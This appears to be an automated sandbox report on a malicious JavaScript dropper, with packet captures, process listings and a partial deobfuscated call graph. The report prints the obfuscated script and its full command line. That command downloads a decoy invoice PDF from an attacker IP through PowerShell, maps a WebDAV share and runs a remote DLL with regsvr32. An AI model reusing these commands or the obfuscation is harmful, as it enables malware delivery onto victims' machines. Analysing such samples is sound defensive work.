Jan 11, 2025 06:59:39.732343912 CET	63302	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:39.738007069 CET	53	63302	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:39.738084078 CET	63302	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:56.676146030 CET	61736	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:56.681036949 CET	53	61736	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:56.681149960 CET	61736	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:56.686053038 CET	53	61736	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:57.126322985 CET	61736	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:57.131443977 CET	53	61736	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:57.131572962 CET	61736	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:00:55.910805941 CET	62400	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:00:55.915637970 CET	53	62400	1.1.1.1	192.168.2.4
Jan 11, 2025 07:00:55.915695906 CET	62400	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:00:55.915726900 CET	62400	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:00:55.920559883 CET	53	62400	1.1.1.1	192.168.2.4
Jan 11, 2025 07:00:56.378596067 CET	53	62400	1.1.1.1	192.168.2.4
Jan 11, 2025 07:00:56.415978909 CET	62400	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:00:56.421013117 CET	53	62400	1.1.1.1	192.168.2.4
Jan 11, 2025 07:00:56.421070099 CET	62400	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:59:38.395453930 CET	54943	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:39.279498100 CET	53	54926	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:56.675600052 CET	53	51582	1.1.1.1	192.168.2.4
Jan 11, 2025 07:00:55.910404921 CET	53	64554	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:59:38.395453930 CET	192.168.2.4	1.1.1.1	0xb660	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:59:38.402551889 CET	1.1.1.1	192.168.2.4	0xb660	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:59:22.802850962 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:59:23.562827110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:59:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:59:23.562896013 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:59:23.562927961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:59:23.562968969 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:59:23.562989950 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:59:23.563004971 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 06:59:23.563019991 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 06:59:23.563035011 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 06:59:23.563050032 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 06:59:23.563066006 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 06:59:23.568044901 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7116	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:59:25.377196074 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:59:26.160962105 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:59:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:59:19
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17763111531162825565.js"
Imagebase:	0x7ff6365a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:59:19
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Imagebase:	0x7ff755370000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:59:19
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:59:19
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:59:24
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:59:24
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff755370000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:59:24
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66b360000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:59:25
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:59:25
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:59:25
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1560,i,18320074673369195276,3779788688947174590,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function advhdz() {	advhdz() ➔ undefined
1	tnordb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eavegf = this[heasecb + mtnixobeh + vucznuxy + kurxles + xejmzjy + oewcwsti + opcsvj + yrnwzsw] ( this[dxgowukg + ptcjzvq + vdxkuxqu + vucznuxy + npigyi + heasecb + yrnwzsw][uyckmn + vucznuxy + xejmzjy + mtnixobeh + yrnwzsw + xejmzjy + bnuwdkn + fpehn + lgers + xejmzjy + vdxkuxqu + yrnwzsw] ( dxgowukg + ptcjzvq + vdxkuxqu + vucznuxy + npigyi + heasecb + yrnwzsw + dhmjcbs + ptcjzvq + fboxpxmf + xejmzjy + rjunkw + rjunkw ) [kcqpw + xejmzjy + herayv + kcqpw + xejmzjy + mtnixobeh + rxeehvo] ( mnqbwl + aivfiqzuo + okhdib + lbgixadky + kvttsd + uyckmn + pddjtwyt + kcqpw + kcqpw + okhdib + olyderq + mtrpibdc + kvttsd + pddjtwyt + ptcjzvq + okhdib + kcqpw + xvwtnitf + uyckmn + jbzpofl + opcsvj + yrnwzsw + vucznuxy + jbzpofl + rjunkw + hrkil + smztotgtg + mtnixobeh + opcsvj + xejmzjy + rjunkw + xvwtnitf + oewcwsti + opcsvj + yrnwzsw + xejmzjy + vucznuxy + opcsvj + mtnixobeh + yrnwzsw + npigyi + jbzpofl + opcsvj + mtnixobeh + rjunkw + xvwtnitf + tluht + jbzpofl + vdxkuxqu + mtnixobeh + rjunkw + xejmzjy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( szeqeaqi = 0 ; szeqeaqi < tnordb[rjunkw + xejmzjy + opcsvj + herayv + yrnwzsw + fboxpxmf] ; ++ szeqeaqi )
4	{
5	if ( eavegf == tnordb[szeqeaqi] )
6	{
7	eavegf = true;
8	break ;
9	}
10	}
11	if ( eavegf !== true )
12	this[dxgowukg + ptcjzvq + vdxkuxqu + vucznuxy + npigyi + heasecb + yrnwzsw][fvtgxnm + yyulw + npigyi + yrnwzsw] ( );
13	this[dxgowukg + ptcjzvq + vdxkuxqu + vucznuxy + npigyi + heasecb + yrnwzsw][uyckmn + vucznuxy + xejmzjy + mtnixobeh + yrnwzsw + xejmzjy + bnuwdkn + fpehn + lgers + xejmzjy + vdxkuxqu + yrnwzsw] ( dxgowukg + ptcjzvq + vdxkuxqu + vucznuxy + npigyi + heasecb + yrnwzsw + dhmjcbs + ptcjzvq + fboxpxmf + xejmzjy + rjunkw + rjunkw ) [vucznuxy + yyulw + opcsvj] ( vdxkuxqu + loymbl + rxeehvo + hrkil + cflbbaoeu + vdxkuxqu + hrkil + heasecb + jbzpofl + jzgyt + xejmzjy + vucznuxy + kurxles + fboxpxmf + xejmzjy + rjunkw + rjunkw + dhmjcbs + xejmzjy + qldfvkpsm + xejmzjy + hrkil + obocy + uyckmn + jbzpofl + loymbl + loymbl + mtnixobeh + opcsvj + rxeehvo + hrkil + bcfgzdndj + oewcwsti + opcsvj + umbezrr + jbzpofl + vudvlyhum + xejmzjy + obocy + dxgowukg + xejmzjy + fpehn + kcqpw + xejmzjy + ghrizweec + yyulw + xejmzjy + kurxles + yrnwzsw + hrkil + obocy + bnuwdkn + yyulw + yrnwzsw + xjlha + npigyi + rjunkw + xejmzjy + hrkil + dcnalprmh + yrnwzsw + xejmzjy + loymbl + heasecb + dcnalprmh + xvwtnitf + npigyi + opcsvj + umbezrr + jbzpofl + npigyi + vdxkuxqu + xejmzjy + dhmjcbs + heasecb + rxeehvo + cufeqqfer + hrkil + fboxpxmf + yrnwzsw + yrnwzsw + heasecb + kgabwix + cflbbaoeu + cflbbaoeu + wtujsee + ibotirpw + ngwpk + dhmjcbs + wtujsee + dkonn + ngwpk + dhmjcbs + wtujsee + dhmjcbs + mussuyta + oangln + fukbf + cflbbaoeu + npigyi + opcsvj + umbezrr + jbzpofl + npigyi + vdxkuxqu + xejmzjy + dhmjcbs + heasecb + fboxpxmf + heasecb + bcfgzdndj + mmchqtbv + mmchqtbv + kurxles + yrnwzsw + mtnixobeh + vucznuxy + yrnwzsw + hrkil + dcnalprmh + yrnwzsw + xejmzjy + loymbl + heasecb + dcnalprmh + xvwtnitf + npigyi + opcsvj + umbezrr + jbzpofl + npigyi + vdxkuxqu + xejmzjy + dhmjcbs + heasecb + rxeehvo + cufeqqfer + mmchqtbv + mmchqtbv + vdxkuxqu + loymbl + rxeehvo + hrkil + cflbbaoeu + vdxkuxqu + hrkil + opcsvj + xejmzjy + yrnwzsw + hrkil + yyulw + kurxles + xejmzjy + hrkil + xvwtnitf + xvwtnitf + wtujsee + ibotirpw + ngwpk + dhmjcbs + wtujsee + dkonn + ngwpk + dhmjcbs + wtujsee + dhmjcbs + mussuyta + oangln + fukbf + shusmnw + wsqsjfnpo + wsqsjfnpo + wsqsjfnpo + wsqsjfnpo + xvwtnitf + rxeehvo + mtnixobeh + umbezrr + jzgyt + jzgyt + jzgyt + vucznuxy + jbzpofl + jbzpofl + yrnwzsw + xvwtnitf + mmchqtbv + mmchqtbv + vdxkuxqu + loymbl + rxeehvo + hrkil + cflbbaoeu + vdxkuxqu + hrkil + vucznuxy + xejmzjy + herayv + kurxles + umbezrr + vucznuxy + ngwpk + mussuyta + hrkil + cflbbaoeu + kurxles + hrkil + xvwtnitf + xvwtnitf + wtujsee + ibotirpw + ngwpk + dhmjcbs + wtujsee + dkonn + ngwpk + dhmjcbs + wtujsee + dhmjcbs + mussuyta + oangln + fukbf + shusmnw + wsqsjfnpo + wsqsjfnpo + wsqsjfnpo + wsqsjfnpo + xvwtnitf + rxeehvo + mtnixobeh + umbezrr + jzgyt + jzgyt + jzgyt + vucznuxy + jbzpofl + jbzpofl + yrnwzsw + xvwtnitf + pyyhbc + mussuyta + dkonn + zrpwgf + wtujsee + pyyhbc + fukbf + fukbf + ibotirpw + wsqsjfnpo + dkonn + ibotirpw + zrpwgf + dhmjcbs + rxeehvo + rjunkw + rjunkw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll",0,false) ➔ 0
14	}
15	oewcwsti = "A";
16	oewcwsti = "I";
17	hrkil = "H";
18	hrkil = "E";
19	hrkil = "G";
20	hrkil = "T";
21	hrkil = "j";
22	hrkil = "E";
23	hrkil = "l";
24	hrkil = "k";
25	hrkil = "E";
26	hrkil = "l";
27	hrkil = "c";
28	hrkil = "e";
29	hrkil = "L";
30	hrkil = "Z";
31	hrkil = "r";
32	hrkil = "v";
33	hrkil = "I";
34	hrkil = "F";
35	hrkil = "r";
36	hrkil = "k";
37	hrkil = "b";
38	hrkil = "w";
39	hrkil = "J";
40	hrkil = "R";
41	hrkil = "k";
42	hrkil = "s";
43	hrkil = "z";
44	hrkil = "V";
45	hrkil = "t";
46	hrkil = "I";
47	hrkil = "n";
48	hrkil = "y";
49	hrkil = "V";
50	hrkil = "z";
51	hrkil = "q";
52	hrkil = "R";
53	hrkil = "B";
54	hrkil = " ";
55	lbgixadky = "I";
56	lbgixadky = "V";
57	lbgixadky = "U";
58	lbgixadky = "s";
59	lbgixadky = "Y";
60	fvtgxnm = "u";
61	fvtgxnm = "U";
62	fvtgxnm = "l";
63	fvtgxnm = "c";
64	fvtgxnm = "U";
65	fvtgxnm = "c";
66	fvtgxnm = "X";
67	fvtgxnm = "t";
68	fvtgxnm = "G";
69	fvtgxnm = "q";
70	fvtgxnm = "G";
71	fvtgxnm = "h";
72	fvtgxnm = "g";
73	fvtgxnm = "x";
74	fvtgxnm = "R";
75	fvtgxnm = "K";
76	fvtgxnm = "O";
77	fvtgxnm = "q";
78	fvtgxnm = "V";
79	fvtgxnm = "E";
80	fvtgxnm = "z";
81	fvtgxnm = "p";
82	fvtgxnm = "G";
83	fvtgxnm = "X";
84	fvtgxnm = "L";
85	fvtgxnm = "F";
86	fvtgxnm = "r";
87	fvtgxnm = "F";
88	fvtgxnm = "R";
89	fvtgxnm = "F";
90	fvtgxnm = "b";
91	fvtgxnm = "W";
92	fvtgxnm = "U";
93	fvtgxnm = "E";
94	fvtgxnm = "c";
95	fvtgxnm = "r";
96	fvtgxnm = "S";
97	fvtgxnm = "Q";
98	oangln = "i";
99	oangln = "Q";
100	oangln = "m";
101	oangln = "S";
102	oangln = "C";
103	oangln = "n";
104	oangln = "e";
105	oangln = "N";
106	oangln = "S";
107	oangln = "v";
108	oangln = "l";
109	oangln = "x";
110	oangln = "K";
111	oangln = "s";
112	oangln = "L";
113	oangln = "u";
114	oangln = "u";
115	oangln = "Q";
116	oangln = "E";
117	oangln = "t";
118	oangln = "N";
119	oangln = "K";
120	oangln = "L";
121	oangln = "X";
122	oangln = "l";
123	oangln = "O";
124	oangln = "D";
125	oangln = "t";
126	oangln = "Q";
127	oangln = "z";
128	oangln = "L";
129	oangln = "t";
130	oangln = "c";
131	oangln = "R";
132	oangln = "O";
133	oangln = "h";
134	oangln = "F";
135	oangln = "0";
136	uyckmn = "a";
137	uyckmn = "I";
138	uyckmn = "K";
139	uyckmn = "d";
140	uyckmn = "G";
141	uyckmn = "o";
142	uyckmn = "V";
143	uyckmn = "f";
144	uyckmn = "i";
145	uyckmn = "C";
146	uyckmn = "l";
147	uyckmn = "F";
148	uyckmn = "y";
149	uyckmn = "c";
150	uyckmn = "a";
151	uyckmn = "D";
152	uyckmn = "i";
153	uyckmn = "k";
154	uyckmn = "R";
155	uyckmn = "X";
156	uyckmn = "D";
157	uyckmn = "M";
158	uyckmn = "K";
159	uyckmn = "L";
160	uyckmn = "J";
161	uyckmn = "S";
162	uyckmn = "c";
163	uyckmn = "o";
164	uyckmn = "X";
165	uyckmn = "z";
166	uyckmn = "Y";
167	uyckmn = "W";
168	uyckmn = "J";
169	uyckmn = "N";
170	uyckmn = "Q";
171	uyckmn = "k";
172	uyckmn = "a";
173	uyckmn = "i";
174	uyckmn = "B";
175	uyckmn = "I";
176	uyckmn = "C";
177	vucznuxy = "O";
178	vucznuxy = "C";
179	vucznuxy = "x";
180	vucznuxy = "d";
181	vucznuxy = "c";
182	vucznuxy = "p";
183	vucznuxy = "K";
184	vucznuxy = "x";
185	vucznuxy = "L";
186	vucznuxy = "C";
187	vucznuxy = "f";
188	vucznuxy = "c";
189	vucznuxy = "h";
190	vucznuxy = "o";
191	vucznuxy = "S";
